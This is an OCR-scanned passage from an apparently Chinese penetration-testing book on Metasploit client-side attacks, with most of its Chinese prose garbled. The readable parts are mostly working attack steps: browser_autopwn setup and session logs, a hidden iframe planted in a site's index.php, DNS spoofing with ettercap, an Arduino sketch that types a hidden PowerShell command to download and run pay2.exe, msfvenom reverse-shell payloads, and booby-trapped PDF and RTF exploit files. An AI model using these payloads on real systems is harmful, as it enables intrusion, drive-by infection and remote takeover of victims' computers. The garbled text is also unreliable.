WebI 58 & 2T R_E iR, SRTT, — S ad i B Web SER A AT RE S B RSB B
FHPE R A2 R WebRIWE &, MRS [ O sk AfTitse. B, BIAmH
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HEWeb W AHTIIR AT e R BCR G 2 A PPy o J 10 B8 45 099232 KAt s B FHI0) B 25 1) e Ie)
HITBIE,
# & H T Firefox# /R 4915 8, 17 Flhttp://www.cvedetails.com/product/3264/

0 Mozilla-Firefox.html?wendor-id=26.,
A * A& TIER RR 6943 8. , #17 Flhttp:/www.cvedetails.com/product/9900/Microsoft-

Internet-Explorer.html?vendor id=26,

7.1.1  Dbrowser autopwn X &7

MetasploitH #2 it T —~browser autopwn i, 32—~ 1] LU SR X 25 7l ] 5 25 64 Tl A
BB At i AR AR A T AR XA TR, IRk iHe— T Xk Mty
Hh il A EE AR SR

1. browser autopwn I3 it [ I

autopwnif 12 [ 2%t BAR #7235 o autopwnSERAERL B 1 Fir A B4l FH ) YE #5084
Jo, BT . R, EESREE ISR ES . — g, Eakik—
FI15 HARN S 2R AHVCEC B S i, B R R AR 2 e T A2 I e 28 25 AL, JGig B
PRRGE st E A aE s, RELAAETT, autopwnibiHUghBe H 2 &R I

A T R T — N TG A TAR U

IR %5 % _EisE s 1
HeFsafari | VI 2%
i85 Mt ZEHINGENRS 25
(T — A TR b )
# FFirefoxiil b 2% 1Y
BB
3 /s B 2
HFIEN Y2
K% B b - >
BERS 2R BT 52
EZF{E AR R a5
s HIE, MZHEHNR
EFlavailyBimtide | | gogsn aimmissg
37
HETHeA ] 5
FHIBERL e FlbR EHUTIBBRILE, I
I Be ik 2 fHiMeterpreters il
TR
%3% FHhandler
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F

TERTA XN 5t , —PMNHRBENIRSG & e KE LT R BEa, [
Wist 1 AR N W handler, UTE— A 32 FHH N EHE] TBE IS5 a b, ZIR5s a4
KA VTR A SRR O R I SR B m A A B, T LU B2 R
IE, PN STEFAVCRECAE BBEHOR 9 % 3% 21132 3 8 1 YE 25 Th DASRAS HAR A HIAL . B
WINET AR 2R 81—~ Bl handler i 7 82 , Wit 30K 229045 B AR shell 85 Meterpreterds il AR

2. {EFMetasploithbrowser autopwniBHRFE{THISEEEH T

fd HIMetasploit i orowser_aut opwrndSE B T— U MR AR RSB YT, WA N EIFR.

msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser autopwn) > show options

Module options (auxiliary/server/browser_autopwn) H

Name Current Setting Required Description

LHOST yes The IP address to use for rev
erse-connect payloads

SRVHOST 0.0.0.0 yes The local host to listen on.
This must be an address on the local machine or 0.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming co
nnections

SSLCert no Path to a custom SSL certific
ate (default is randomly generated)

URIPATH no The URI to use for this explo

it (default is random)

Auxiliary action:

Name Description
WebServer Start a bunch of modules and direct clients to appropr
iate exploits

i BT, FRATE L D7 MetasploitH 2k A T auxiliary/server/ 1 browser_autpown
i, N7 RKEXREH, FEIEELHOST. URIPATHFISRVPORTS SN, SRVPORTSHISE T8
Jﬁﬂ&%%%@ﬁﬁ 3 11 o FR AT FH o 1 80k & i 11443, A R fiff LAt s L1 AT e &5 [N 3
B, M HAEERRALEAIER . URIPATHEAFAEASFNS BB H R B8AE, BRIENIZEE N
/, FORRE . EREITARNSEZ G, S DA B RTR G sk,

msf auxiliary(browser autopwn) > set LHOST 192.168.10.105
LHOST => 192.168.10.105

msf auxiliary(browser autopwn) > set URIPATH /

URIPATH => /

msf auxiliary(browser autopwn) > set SRVPORT 80

|SRVPORT => 80

msf auxiliary(browser_ autopwn) > expleoit

[*] Auxiliary module execution completed

[*] Setup

[*] Starting exploit modules on host 192.168.10.105...
[*] --—-
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JAdliorowser autopwnfiiZ JFEt @, — M ABBIR S 4, BT REITIRE, %
RERRM%ER:, SR TR,

Using URL: http://0.0.0.0:80/daKfwjZ

Local IP: http://192.168.10.105:80/daKfwjZ

Server started.

Starting handler for windows/meterpreter/reverse tcp on port 3333
Starting handler for generic/shell reverse tcp on port 6666
Started reverse TCP handler on 192.168.10.105:3333

Starting the payload handler...

Starting handler for java/meterpreter/reverse tcp on port 7777
Started reverse TCP handler on 192.168.10.105:6666

Starting the payload handler...

Started reverse TCP handler on 192.168.10.105:7777

+
*
s
+
+
s
+
+
#
*
+
*] Starting the payload handler...

P p— p—p— p— — p— p— — — fo— fo—
B S

[*] --- Done, found exploit modules

*] Using URL: http://0.0.0.0:80/
*] Local IP: http://192.168.10.105:80/
*] Server started.

o o oy

BAEAT T — i 42 2 BT R GE A 803 11 _L Ay H AR 23 1 ) — 56 T8 T 6 0 W 4 1) 2
B R Hr— N2 EE R TR BB ST AR Y o

@ Loading - Windows Internet Explorer

OO~ ‘QJ hittp://192.168.10.105/ - | M ‘ e | X ‘

7 @) Suggested Sites v @] Web Slice Gallery v
f—& Loading & * B

5.7 Favorites

M 2 EE VIR TRATIPHIAERS, browser autopwnBibahas ik 4 MRS, &
F 3 S MeterpreterfE HilALBR K 1, WF IR
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[*] Sending stage (957487 bytes) to 192.168.10.111
[*] Meterpreter session 1 opened (192.168.10.105:3333 -> 192.168.
10.111:51608) at 2016-06-30 11:48:29 +0530
[*] Session ID 1 (192.168.10.105:3333 -> 192,168.10.111:51608) pr
ocessing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3728)
[*] Spawning notepad.exe process to migrate to
Migrating to 3700
Successfully migrated to process

Imsf auxiliary(browser autopwn) > sessions -i

Active sessions

Id Type Information
Connection

1 meterpreter x86/win32 WIN-97G4SSDJID5S\Apex @ WIN-97G4SSDJD
55 192.168.10.105:3333 -> 192.168.10.111:51608 (192.168.10.111)

|nsf auxiliary(browser_autopwn) > |

browser autopwnfEHR FRVFBAE APl R AL ST 32 338 1) ) S s e A T IR i
AL XAE S IE A RE ST RS T, R SRR R T o R T, JRAPHE
B - (Hllbrowser autopwn ) s&UUIXT 24~ HiniH 1B ER .

7.1.2 XSGR P#HITEE
TEIX—TH, FRATH 2 ik Y 0 o s Ak b T R e

A bR B —FE, 10 HAR K% — N IPHihE P RESS 5 I, 3235 5 I RE S MR Rk 1Y
IPHRE/ AR5 o AN WARAR I s hE SR TP L 36 2532 8, A RN LR S R %
#, iR SRR

1. EANEEM T A

— A Tl 4 X 0T DL s A browser autopwn il S5 7 B0 i o D5 B AN SR AR A el %) Ik Ak
A B iFrame, ABA VIR W3 1 T A R GEi 21832 2K H browser autopwn il 55 2 (14t o A
M, B2E AR EEE AR TR, browser autopwniB 75 AR 55 45 5l 2 6 0 Y g A T 45 A e I
. AERZEUGOLT , SRR B IR 85

FATRT AL FHiFrameiE N SB[ FH P AR MAEAAR . B — 10 IR BRI BARAR Y
2. WEMEHI A P
R T ey S BT R P AR
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Y fiFrameiE A ZEH Vi RIF AR S
FIWEFI AR S 2, wfE, HESRess
iFramefyb ik sk 45 71 (B RE T i RGH
browser autopwnfii %28 {EHIRLR)

\ . /

1 Kb E far—4

browser autopwnfii 55 #%

browser autopwn/l¢ 55 % R FHRIR %5 25

EREER U] IR, SR T AR SCE R . S G e A AL IR AR
B — AR B IR 55 a0 HIAC R . TS T — S TR B A A BT R 1]

~o6 Hec Q

y time: 2016-07-05 09:08:55

XA — NI T Y Web I b VR R 8], FRAT AT AR T A Tl 1] Rl | A% — > 2 T4
=77 Webfir 2ATHIPHP S /o A T PUTIXIR T, 7525 7E index. phplg 14 A Ay HHAth 0 T8 s fim 4

<iframe src="http://192.168.10.107:80/" width=0 height=0 style="hidden"
frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
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A ZFL VIR, AR A S ngkiFrame % Ebrowser autopwn.,  H T
BRI E T — 1 frametns, TR MNIEHE RS H FiinZbrowser autopwn, FRA1175 %
PRAFXASCAE, FF RV P sl #4751

ZHH—EYia) TAFIT, browser autopwnd£x [ S7EZ H BTN LiBTF, el /515
browser autopwn R IEH 12175 Uifbrowser autopwnBiH A i21T, AILMEHUTTN KA she.

imsf auxiliary(browser_autopwn) > set LHOST 192.168.10.107
LHOST => 192.168.10.107

imsf auxiliary(browser autopwn) > set SRVPORT 80

SRVPORT => 80

imsf auxiliary(browser_autopwn) > set URIPATH /

URIPATH => /

imsf auxiliary(browser_autopwn) > exploit

[*] Auxiliary module execution completed

[*] Setup

[*] Starting exploit modules on host 192.168.10.107...
F] -

UR—VIWA], FATPRE 23R AF7E HAR RS Lz AT i Meterpreter, X537 (4 F A7 K
WG B RORBR R FH, IFEARMBATR R Geh . 7EdE T A&y, XA RAREA I, &
B AR N B A A 5 A BT o LEFRAT RE B 232 H W S B Ml i 2 R A AT 4

example-demo.com

ATAER], XHEEAERH192.168.10. 107 &80, XA TPHHEESZ 8 FRA 1A browser
autopwnflR %5 2% . LA E WA ERE B X M.

[*] 192.168.10.105 java verifier_field access - Sending jar

[*] 192.168.10.105 java_jrel7_reflection_types - handling request for /uEHZ/ow
iTcMSA.jar

[*] 192.168.10.105 java_rhino - Sending Applet.jar

[*] 192.168.10.105 java atomicreferencearray - Sending Java AtomicReferenceArr
ay Type Violation Vulnerability

[*] 192.168.10.105 java_atomicreferencearray - Generated jar to drop (5125 byt
es).

[*] 192.168.10.105 java jrel7_reflection_types - handling request for /uEHZ/
[*] 192.168.10.105 java_jrel7_jmxbean - handling request for /NcXYqzyENHt/

[*] 192.168.10.105 java_verifier_field_access - Sending Java Applet Field Byte
code Verifier Cache Remote Code Execution ‘
[*] 192.168.10.105 java verifier field_access - Generated jar to drop (5125 by

BB PR IELRR T BB NI Z 5, Meterpreter i MIALBR A2 W R 7EFRATTHI R -
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7.1.3 5 DNS IR S EH

FeAr 1A B X 52 5 3 R G A T ok R LR R B RN, IR RATREAR S D2 A 1Y

AN ELF R T —MES I browser autopwnIi 7 DL et Ja &% sl B P i o o X B
TAIZBN T R, IR AL @ o HFp T 2O BB B Rk R 2 S

EX RIS, FAMIERAE FiMetasploitH fibrowser autopwn& Bk it 32 33, (H 2
Tl AP0 2 F B R AT B, MRS TR A 2 E i Mk

AP RBETE SR R R o DO AR 5, B e s 2 TARPI G . ARP
TARAEISUZ RIS 2, AR A 3 8F A RN 2R T LU 5omh 7y OB BOn 232 %
FEWLAhosts SCPF, FA T AT LAASHIZ X A I PR, 328 b o — el e o

{EFIDNSH#IFHIRZTEE

PEFRATITEAIE Y B oext 2 EH ki —ARPEEALIT, P TDNSE IR, K, sz
FEREFTH—AH R s 3200, 6 an 24wl A% £ Whttp://google.com, Z5HHZEFTH T
A5 & A browser autopwn/lk 55 U FEBIE I 01, SEmIEAS LAY R E0E 2 T2k B FEBIER s T

AT Z T SCANE— - DNSEELS R, IR 232 3 3 5 A — 3844 X F T T X6 1 X 14 e
fig, AR I 4 http://www.google.com T 45 [w] TP Hu I 51 2 Bl 7 4 Ry B BIF 9 s TPtk o 3k B £ ik
IDNSZ% HARFEAE TSI

root@root:~# locate etter.dns
/usr/local/share/videojak/etter.dns
/usr/share/ettercap/etter.dns

TEXANEIFr, AT M iR T RARPERAL T HAES, ifdettercap, B, #
FXA S IFANE — A RIDNSHIER . X —rURAE R EZEn, o2 FH AR AT —1
6 78 W AR, 123844 AR SR X I A IE B TP 2 g FRAT B M PARE TP RS . o T — 5, %
g etter.dns U HYFNFR, BARGEFR Q0T 1Y SRR I TR

[root@root:~# nano /usr/share/ettercap/etter.dns]

AT EAEA N X FN R N AL N B

google.com A 192.168.65.132)
microsoft.com A 198.182.196.56
* . microsoft.com A 198.182.196.56
www.microsoft.com PTR 198.182.196.56
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M2 EE K H— D RT I Zhttp://google.comAIDNSIF R BT, XA F FK il ST & THEHLAY
IP ik AE Ry i) N & 26 25t . MBI eI R Z )5, TRAF XA SCFEIF HoAR FH a4 10 5 3T IF
ettercap, XM REUIFEIIIR.

Iroot@r’oot i~# ettercap —GI—‘

XA RELL IR AL S I R Blet cercap, JA SIS EIHR

ettercap NG-0.7.3

Shift+u

AR e P SniffiE I K H A Unifed sniffng.. WE35, SR E454% M ethOE J ERIAIE T,
LU= SN

PP RET FAR L5 [ N A TP HE A T30, LAORIEIEMRSE EHAE TAELRAS . 2 HFH
B AU SR AR X L8 FHLIE RN, 0T 1 5 s

Start Jargets Hos ;- Mitm ging Plugins Help
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PrA USSR R AL, AR B IR IE FAE RS AT i i o SRR 48 R ek 32
PUE AR AZIE T B B2 EHLsI R

FA T EE M F Hosts i1, SRJ5 e Host List, XA BEFTIF EHLII, 40T 119 FEAi
NS

19 Plugins Help

Add to Target 2

TR R M SC I LA I B FAR2, FPR 52 5 H A A B bRt FA 1A B 5%
BAEARR2, FZEERTREIEERIR . POAFRATR ZRS F 4 R TE R OCAYIE TS .

BE, AEMITMET K, SRJG7EHPiE#ARP Poisoning, 1T i 1Y FF 58 & T s .
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Bk, M OKJE4kE: N —4, BRI YE 3 Startik i, SRS 1264 Start Sniffing., H.if; Start
Sniffing 11, X BP-2: % i —-)>Starting Unifed sniffing i~ 5 5, W FE IR,

F2F R TS DNSIORAR FFE Y, B0 7920 R 02 M Plugins #6751 H £ #% Manage the
plugins, 1R T B BEFRERR IR TR o

XLt DNS spoof plug-in ARG DNSHS o 3 i A BTG =2 Je K 23 A ik fh it i DNSEE
LR ETRATZ AT S etter.dns B T () . I TEIRAT B, R BLAZ B 8 R a4 HE R )
w4 FIDNSIE R, Mo st & this —Ama gz, {f FHetter. DNSSCHH i ' AUDNS 4% H AU HAL
M H .

XAME E AYDNS 4 H 18 [ B8 E T browser autopwnflR 55 1 EHLAYIP, KL, 2 HEHIRA U
A HCEITRIA MGG, 2 A T 817 EF browser autopwnIR 55 FITIR B BHE KA 3

arget range

F2 T ORTEB0 H i3 S FEB il
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msf > use auxiliary/server/browser autopwn
msf auxiliary(browser_autopwn) > set LHOST 192.168.65.132

LHOST => 192.168.65.132

msf auxiliary(browser_autopwn) > set SRVPORT 80

SRVPORT => 80

msf auxiliary(browser_autopwn) > set URIPATH /

URIPATH => /

msf auxiliary(browser_autopwn) > exploitll

AT 252 E H I E T http:/google.com/H R & 4 T 4

File  Edit ‘View Favorites Tools  Help

\_) Eack -J B @ :h pSearch \;r\\'fFavnrites @ ngv L\_\; .ﬁ

Address |@ http:/fgoogle.com)

(e ISt AT ot 25 B TR — TR AR AR T — LA R AR Y

[*] 192.168.65.129 Reporting: {:os_name=>"Mic

[*] Responding with exploits

[
[*

[*] Sending Internet Explorer DHTML Behaviors U
.129:1056 (target: IE & SP@-SP2 (onclick))...
[*] Sending stage (752128 bytes) to 192.168.65.

58) at 2013-11-07 12:08:48 -0500

nitialAutoRunScript 'migrate -f°*

[*] Current server process: iexplore.exe (3216)
[*] Spawning a notepad.exe host process...

[*] Migrating into process ID 3300

!%EI auxiliary(browser_autopwn) > [*] New server process: notepad.exe (3300)

=>"XP", :o0s_sp=>"SP2", :os_lang=>"en-us", :arch=
[*] Sending MS03-020 Internet Explorer Object Type to 192.168.65.129:1054.

Exception handling request: Connection reset by peer
Sending MS03-020 Internet Explorer Object Type to 192.168.65.129:1055.

[*] Meterpreter session 1 opened (192.168.65.132:3333 -> 192.168.65.129:10

[*] Session ID 1 (192.168.65.132:3333 -> 192.168.65.129:1058) processing I

rosoft Windows", :os_flavor
>"x86"}

se After Free to 192.168.65

129

FACRAFEIE ! FATEE] 77 Bin)5 G T iMeterpreteri %, X BME IR T 52 %5 #
A FALRR , (ERTER AR, AR RA 2 HE %7}1%&’@%@% LIEEL.*“FW%?:TYEE‘JW

RAEH, HRFRATEA T AHMZAIDNS 25 H o 4810,

QARARAE— A SR P S B R 5'JE

TR A W DI SRS 36 AT DT AHEIURLI, 9 EHL 1

P2 XN URLAE [n) BN B autopwn il 55 4% | o

XA TR AT T A4 5 AR R

Imsf auxiliary(browser_autopwn) > sessions -i

Active sessions

Id Type Information
Connection

192.168.65.132:3333 -> 192.168.65.129:1058

msf auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > syslnfo

Imetergreter > 11

1 meterpreter x86/win32 NIPUN-DEBBEG6F84\Administrator @ NIPUN-DEBBE6F84

Computer NIPUN-DEBBE6F84

0S : Windows XP (Build 2600, Service Pack 2).
[Architecture 1 x86

System Language : en_US

Meterpreter : x86/win32

WA V2 HABE AR ] L 5 Metasploit i I i B AR 25 &

AT, NI BISE H 5w A oy B
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7.2 Metasploit #1 Arduino——2{ #5844

FETF Arduino T il A ARUE — AR FUAR IME DI REN R 3 K BREL, &Rl DA R B3 A
B— KR A . A — L8 Arduino il ST AL A AR, XA EA T LUSCHHID %

PRI SR FRAR/IN B ArduinoAUst il AR AT ARA T, Bl iniset At . A% sl A il Bl
PRUA B A HADAT Ry o ZEAT T, FRATHS— 1> Arduino Profi MRS I BUEE AL, SR)5 MR u, i T 4%
AT E R T, A E RN, XL BT R RIS A], B LA G R T

9 4o R 4B A FAHIDIE &34 4755 MK, & T/A% &4 IUSB Rubber Ducky
2, Teensy .

PRAT DLAE—SEAR 200G (g M - ( GnAliexpress.com® ) F FAN3435 7004 3 Arduino Pro
Wb, FrLd, it TeensyMIUSB Rubber Ducky, Arduino Profd{fR iJfHHZ T .

R AR AE T ArduinoEATIE B W IF AN IRNE . ARIRE 2 H 48 T — SRR i, 2k
WAL 0BT

0 4o R B IKIK T % F o B 3) Arduino®9 £ % 13 &, 7 7 19 3 hk https://www.

rduino.cc/en/Guide/Windows,

TR R Arduinots i F 4 CAS .

#include<Keyboard.h>
void setup() {

delay (2000) ;

type (KEY_LEFT_GUI, false) ;
type('d', false);
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Keyboard.releaseAll () ;
delay (500) ;
type (KEY_LEFT_GUI, false) ;
type('r', false);
delay (500) ;
Keyboard.releaseAll () ;
delay (1000) ;
print (F("powershell -windowstyle hidden (new-object
System.Net.WebClient) .DownloadFile('http://192.168.10.107/pay2.exe', '$TEMP%
\\mal.exe'); Start-Process "$TEMP$\\mal.exe""));
delay (1000) ;
type (KEY_RETURN, false) ;
Keyboard.releaseAll () ;
Keyboard.end () ;
}
void type(int key, boolean release) {
Keyboard.press (key) ;
if (release)
Keyboard.release (key) ;
}
void print (const _ FlashStringHelper *value) {
Keyboard.print (value) ;
}
void loop () {}

BRI — D N eypeMREL, XARBTENNSE, — A NEH T 808 B
TR, F— A Re BT BB A, 2 TR R B print, BRI print 4T
ENeR%sL, FlHkeyboardEpress () RECE LRI SCAS . Arduino 5 I E L K%L, J3)E& Loop
Flsetup. PAiX BT NPT —IRBudi#kar, BrLoR i AR B AE 1 secup %,
ML HEPATIR IR, A S loopri%, delay BREflslecp BIIREM R, #B2ELL
FEFAERR E R N (B 2R ) BT, type (KEY_LEFT_GUI, false); iVHJFRRNEHLT
H b 2R Ge s 20 M B windd H— B R LIRS, FTLATRATE fal selE MBS EL. T
KA AR Ay 4% T dit . BAAEFRATE 4% T T, BIWindows + dB (S s T A E AP
PR ), MNP I TReyboard. releaseall () ; BREN, Hin R SHITWindows+afmnd, M
KSR T )T 7 1 /M

0 =T ¥A %% 9] https://www.arduino.cc/en/Reference/KeyboardModifier 3k ;R £ % % T
Arduino®9keyboard & 6942 & .

W IR A T — A AR B s T A HE . EiE T A S HE i APowershel 11l
A DR, S R B AR, i 192.168.10.107 /pay2 . exes SRIERHX DT ER AT IRAE
FETempSCPEder, JEMGX BT, BIAMAIE, T2 M Rk AT 4 .

X — 5 ] LLE K kEY_RETURNAE AL 36 25 sRECKR SC B . T 1K B A Qi) X Arduino
WEIE AR,
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ile Edit SkH:h\Tools‘Help
Auto Format

AT Archive Sketch
=g Fix Encoding & Reload
Serial Monitor Ciri+Shift+M
Serial Plotter Cirl+Shift+L
Boards M
Port Arduino AVR Boards
Programmer. "AVRISP mkilI” oy

Arduino/Genuinc Uno

Arduino Duemilanove or Diecimila
Arduino Nano

Arduino/Genuino Mega or Mega 2560
Arduino Mega ADK

Burn Bootloader

Arduino/Genuino
Arduino Esplora
Arduino Mini
Arduino Ethernet
Arduino Fio
Arduino BT
LilyPad Arduino USB
LilyPad Arduino
Arduino Pro or Pro Mini
Arduino NG or older
Arduino Robot Control
Arduine Rebot Motor
Arduinc Gemma

nEE TR, Rt E A Toolsie it HEREFRAH FH A Arduinoti 2Ry, SRS FEERE AN
Arduino il {5 1 11 o

% hn | Arduino 168
File Edit Sketch Tools Help

Auto Format CtrisT
Archive Sketch
Fix Encoding & Reload

jriebel Serial Monitor Crl+Shift+M ~
52000 Serial Plotter Ctrisshift+L
(E_LEFT

ey Board: “Arduino Leonardo” >

oo Port:“COM3 (Arduino Leonardo)” B Serial ports

E : Y| COM3 (Arduino Leonardo

b 1 Programmer. "AVRISP mkiI 4 d

a Burn Bootioader

o o
- outyle hidden (nes-obyect et fiebClens) . DowmloadFile (hetp://the earth. 1t 64/x86/puvcy. exet, \uscy.exet) ; Scarc-Process \"HIEM
=

_Flasnseringhelper svalae) [
(atue);

Screenshot Added
g s
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FENRET >34, BT ISR P S B Arduinoff I,

hh | Arduino 1.6.8 — O

File Edit Sketch Tools Help

#include<Keyboard.h> ~
woid setup() {
delay(2000) ;
type (KEY_LEFT_GUT, false);
type('d’,false);
Keyboard.releaseAll () ;
delay (500) 7
type (KEY_LEFT_GUT, false);
type('r', false);
delay (500) 7
Keyboard.releaseAll () ;
delay (1000) ;
print (F("powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile (*http://
delay (1000 ;
type (KEY_RETURN, falsc) ;
Keyboard.zeleaseAll();
Reyboard.end(} ;
1
woid type{int key, boclean release) ||

Keyboard.press (key) ;

if(release)

FReyboard.release (key) ;

] v

< >

BUAE Y Arduino O MR A2 5 5 RGERIER T, ERRRR EibHs [ OO T — AL,
PR TCAHH OBOR I o AT RIS 2y A 2 S ROAL PR, A REIE I R B A A A

SRIGA% T B A Arduinoi £5 .
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AR ZF R LZN, B@mmsie Faoese, e R T, RIFn] LI4
BRIUNT B EER

[*] Started reverse TCP handler on 192.168.10.107:5555

[*] Starting the payload handler...

[*] Sending stage (1188911 bytes) to 192.168.10.105

[*] Meterpreter session 3 opened (192.168.10.107:5555 -> 192.168.10.105:12668
) at 2016-07-05 15:51:14 +0530

meterpreter > sy51nfo

Computer : DESKTOP-PESQ21S
0s : Windows 10 (Build 10586).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Neterpreter : x64/win64
meterpreter >
R A A WU A i i

root@mm: -# msfvenom -p windows/x64/meterpreter/reverse_tcp LH0ST=192.168.10.107
LPORT=5555 -f exe > /var/www/html/pay2.exe

No platform was selected, choosing Msf::Module: :Platform: :Windows from the paylo
ad

No Arch selected, selecting Arch: x86_64 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 510 bytes

root@mm: # service apache2 start
root@mm: —#

EME LA m T —1E H T 640 Windows#5:/E R Gt ) Meterpreter B il 2 fif , B 23 F 3l [l i%
FIFATRGEMS5555% 1H o HL/I‘ﬁZ%ﬁﬁﬁﬁpracheI#H&W JfFﬁDLIZIE?/TF' sfiApache.
P2 T ok R 5 oz iE e i handler Sk MW 213K 555540 H Y42 RIA], XA B B s .

exploit(handler) > back

> use exploit/multi/handler

cp exploit(handler) > set payload windows/x64/meterpreter/reverse_t
f exploit(handler) > set LPORT 5555

exploit(handler) > set LHOST 192.168.10.107

exploit(handler) > exploit

33!‘?‘3‘3
] (o
i iy

msf
msf

[*] Started reverse TCP handler on 192.168.10.107:5555
[*] Starting the payload handler...

X BIRATIARE] T —Fp 2B 8ol FB—— R — RN s g e, stnl s —4
Windows 10 R 4E A HIALRR . Arduinofe&—FEATERM T B, 3Rt iR & Be 13— 26 5¢ T Arduino
USB Rubber Ducky . Teensy#1Kali Net Hunter?s T ELAY %R, AR 1] LIZEAE ] 1) Android F-HL{# FiKali
Net Hunter> 8 {5 [RI#F 19 Mot B¢ o
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H % Teensy#y £ % 15 8., 1% Flhttps://www.pjrc.com/teensy/ .

ﬂ # % USB Rubber Ducky#) # % 12 8, 47 9l http://hakshop.myshopify.com/
products/usb-rubber-ducky-deluxe,

7.3 ETH/EMXHBANSERS

XS 2 EE T A B BIGE . — BSTIASEESCE, et
ML HE—A A br R G A Meterpreterslid shel WAL R . 72T —T5rf, FA PR IR AT 1%
EICRRPDE X A bRt A8 15 o

7.3.1 ETF PDF &R ASIER T

ST PDF SIS 2B B A 2 it S 45 FHPDF e S A AT s O TR o i 8840 75 ek 2
APDFSCIFSAATIS , L2 1 Bk Pl — 1 Meterpreter sl i A T4 AR . (HIZAESh T
MUGEZ AT, JekAR— T B EZA BN LSR5

M =451 i:: I
RG] 1ESmart Independent Glyplets (SING) ZrhfuniquenamefE{E &k H iR
HirisE A5 Windows 7 3243
A Adobe Reader 9
A eI o] %N & Fl T Windows, Macintoshf1Unix[{JAdobe Reader 9.3.4 ¢ ¥ F ik A ;s & F T WindowsFll
Macintoshf) Adobe Acrobat 9.3.4 ¢ ¥ Bk 4~
CVEHiR &S http://www.adobe.com/support/security/advisories/apsal0-02.html
e gvig s a0 ] /modules/exploits/windows/fileformat/adobe cooltype sing.rb

N T el XA IR TS E ST, BRI EEPDESU T, ARG S R A 4 52
T A EERET TG PDESCIER;, FA Tl ] ARG — B b A B AR T 12
fEiMeterpreterfE il {7 el v 17 2 TR E— N EPDF I,

\M > use exploit/windows/fileformat/adobe cooltype sing
A — T AR B E MRLE A R L X BG4 7 .

msf exploit(adobe _cooltype sing) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

FAIZ Bl reverse_tcpff A Bl AT HOR BIH M # 1) R GBI Meti % 2 )1 4
e, EWABRNIEARE SR Abrit Rl L $eEFEERAEMAR P ITIF S, Hitt
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F

reverse_tcp— HPAT, EW-SET— RIS E T as iiEdE . XN SRR E I T Y
FrEAERTR

msf exploit(adobe_cooltype sing) > set LHOST 192.168.65.128
LHOST => 192.168.65.128
msf exploit(adobe_cooltype sing) > show options

Module options (exploit/windows/fileformat/adobe cooltype sing):

Name Current Setting Required Description

FILENAME msf.pdf yes The file name.

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process, no
ne

LHOST 192.168.65.128 yes The listen address

LPORT 4444 yes The listen port

TEI% BB BT A T B AT (AL HOSTHILPORT ), 'ETHR & & 8 ek #F B LI %
BT ER , 1R E T IIESEUG, fflexploitfir M@ — A1k, T RikhsE
Fo XA AR T T R EAR I TR

msf exploit(adobe cooltype sing) > exploit

[*] Creating 'msf.pdf' file...

[*] Generated output file /root/.msfd4/data/exploits/msf.pdf
msf exploit(adobe_cooltype_sing) > back

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse tcp
payload => w1ndow5/meterpreter/reverse tep

FERI e A B B U AT PDF U 2 ), AP IRk hszF % . el ash—1
handler, J >k Wi Wr PDF 3C 478 H b5 B L& B 20 M6 B ALK A & . exploit/
multi/ handlerze—/\ﬁﬁﬁﬁ HMetasploittiith , ‘& HIRANIRTE LN 2E HiniHEALZ iR A1)
BT A SR o X AR AN T A R AR PR T

msf exploit(handler) > set LHOST 192.168.65.128
LHOST => 192.168.65.128
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.65.128:4444

[*] Starting the payload handler...

[*] Sending stage (752128 bytes) to 192.168.65.131

[*] Meterpreter session 1 opened (192.168.65.128:4444 -> 192.168.65.131:49178) a
t 2013-09-04 06:05:50 +0530

meterpreter >
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151 B handlerJ - FPDESCAE Fp Al BG40 it B handler 2 J& , FA i FexploitiydKiB T
Zhandler. B/E— A2 EHPIT TXASCMF, ATHESHE]— 1 Meterpreterds il &%, w5 Lk
B e A T P s IR

WAk, M2 EH MRS, 44FAdobe ReaderfR T REBCA MAINL, 1K HARTHEHIAE—E
RF TR A 52 L RN, 1 T ) 5 A P BT 7

msf.pdf - Adobe Reader (Mot Responding)
File Edit View Document Tools Window Help

@ ALHAE Anigrated 4t 45) % — A2 L, B % —2Adobe Readertyit 42
WX, Meterpreter shelldL A% 44 % .

7.3.2 £T Word XHHRARZERE

HTFWord 2 B e 3 2K FE & Fh o] DAFEMicrosoft Word FPimZk il S fbag =, Horp— stk
S AT AP 7% AR I A e A5 3R A H AR R G p9 A B . 763X BLnT LUF 5 2 BifPDF
MBS AR . IEFRATHE A B — T e izl i Hiis

i AR 1 3 &
Ikl fEMicrosoft Word s FJRTF 4341 4% H i pFragment s J& P2 5 52 B AR E% oh X i B
BB ER RS Windows 7 32
M (e Y A48 Microsoft Word 2007
ZRNI RS Microsoft Office XP SP

Microsoft Office 2003 SP 3
Microsoft Office 2007 SP 2
Microsoft Office 2010 (32fizhk4<)
Microsoft Office 2010 (647 ik Z)
Microsoft Office for Mac 2011

CVEfZ B http://www.verisigninc.com/en_US/cyber-security/security-intelligence/vulnerability-reports/
articles/index.xhtml?id=880
BB gl /exploits/windows/fileformat/ms10 087 rtf pfragments bof.rb

LM AN TR SR A AR R G PERIAR . R, B YSiE siMetasploit, FfEHRATT B#
R PR A — A SO

msf > use exploit/windows/fileformat/ms10 087 rtf pfragments bof
msf exploit(msle_087_rtf_pfragments_bof) > set payload
payload => windows/meterpreter/reverse tcp

HTRBEIFITA SR, XL HOR 2 B3 T 2 5 B T LB i ) i . 4418
IR B B R BEE SO A TR
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msf exploit(msl@_087_rtf_pfragments_bof) > set FILENAME NPJ.rtf

FILENAME => NPJ.rtf
msf exploit(msl0_087 rtf_pfragments_bof) > exploit

[*] Creating 'NPJ.rtf' file ...
[*] Generated output file /root/.msfd/data/exploits/NPJ].rtf

AT LIGE 25 PO ZOENPYLt U R IR 532 5, N FAZ XA SCRSRE s N B Rk 42
EH, HFH—AUSBIER R, W] LUK a8 md s i &% o BifE, REZEHR T
FFWord3CHS, FATEEL R4S HAn it AL Meterpreter i HilAUR . Ak, 4 T 3R15X>Meterpreter
PERIRLR, B RS ARE A Erhandler, TN Y BEEEAR TR o

[msf > use exploit/multi/handler

